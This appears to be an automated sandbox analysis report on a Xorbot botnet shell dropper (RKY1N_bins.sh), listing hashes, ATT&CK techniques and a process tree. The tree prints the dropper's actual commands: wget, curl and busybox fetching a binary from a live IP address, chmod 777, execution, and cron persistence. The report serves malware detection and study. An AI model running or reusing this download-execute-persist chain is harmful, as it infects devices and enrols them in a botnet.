xorbot | aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02-12-2024 00:17

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General

Target

RKY1N_bins.sh
Size

10KB
MD5

3185a06c9e65901556ba39c015fcb435
SHA1

125fb6885ad57ad672d32176a30567375ad03770
SHA256

aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
SHA512

0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39
SSDEEP

192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1509	chmod

Executes dropped EXE 1 IoCs

Processes:

EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

ioc	pid	Process
/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	1510	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Renames itself 1 IoCs

Processes:

EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

pid	Process
1511	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.h8mzNY	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

description	ioc	Process
File opened for reading	/proc/3/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/164/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/171/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1119/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/84/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1283/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1556/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/12/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/955/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1548/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1555/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1578/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1603/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/966/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1096/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1232/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1519/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1534/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1549/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/18/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/130/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1540/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1482/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1581/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/27/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/173/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/208/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/437/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/525/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/570/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1602/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/8/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/175/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/180/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/542/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/5/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1115/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1553/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1516/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1567/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/250/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1065/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1083/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1105/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1183/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1188/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/28/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/174/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/182/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/958/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1263/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1547/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1612/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/29/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/179/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/489/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1178/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1527/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1576/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1131/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1620/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/7/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/89/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/207/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	wget
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	curl
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	busybox

/tmp/RKY1N_bins.sh
/tmp/RKY1N_bins.sh
1⤵
PID:1499
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1500
- /usr/bin/wget
  wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1501
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1510
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1512
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1513
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1514
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1515
- /bin/rm
  rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.h8mzNY

Filesize
210B

MD5
9b0d8f061cfa76659a38fda2dcfbfe61

SHA1
bf26cee4ae87d7c7e378a6abae6bdf8e4ac9f1bb

SHA256
b562f2c59b808ea26eb0533bfab419845a263758a322a758b6f36d834264cd3b

SHA512
7b6c09a5c0a8f1b8fdc06d7a79141a1ffac3428f4ac1a0207ef70cbb7d821b4e23dffd3bcd134ee9acb6179c07ebe6cb72e64c726f634ea354dd299884328771

Download Submit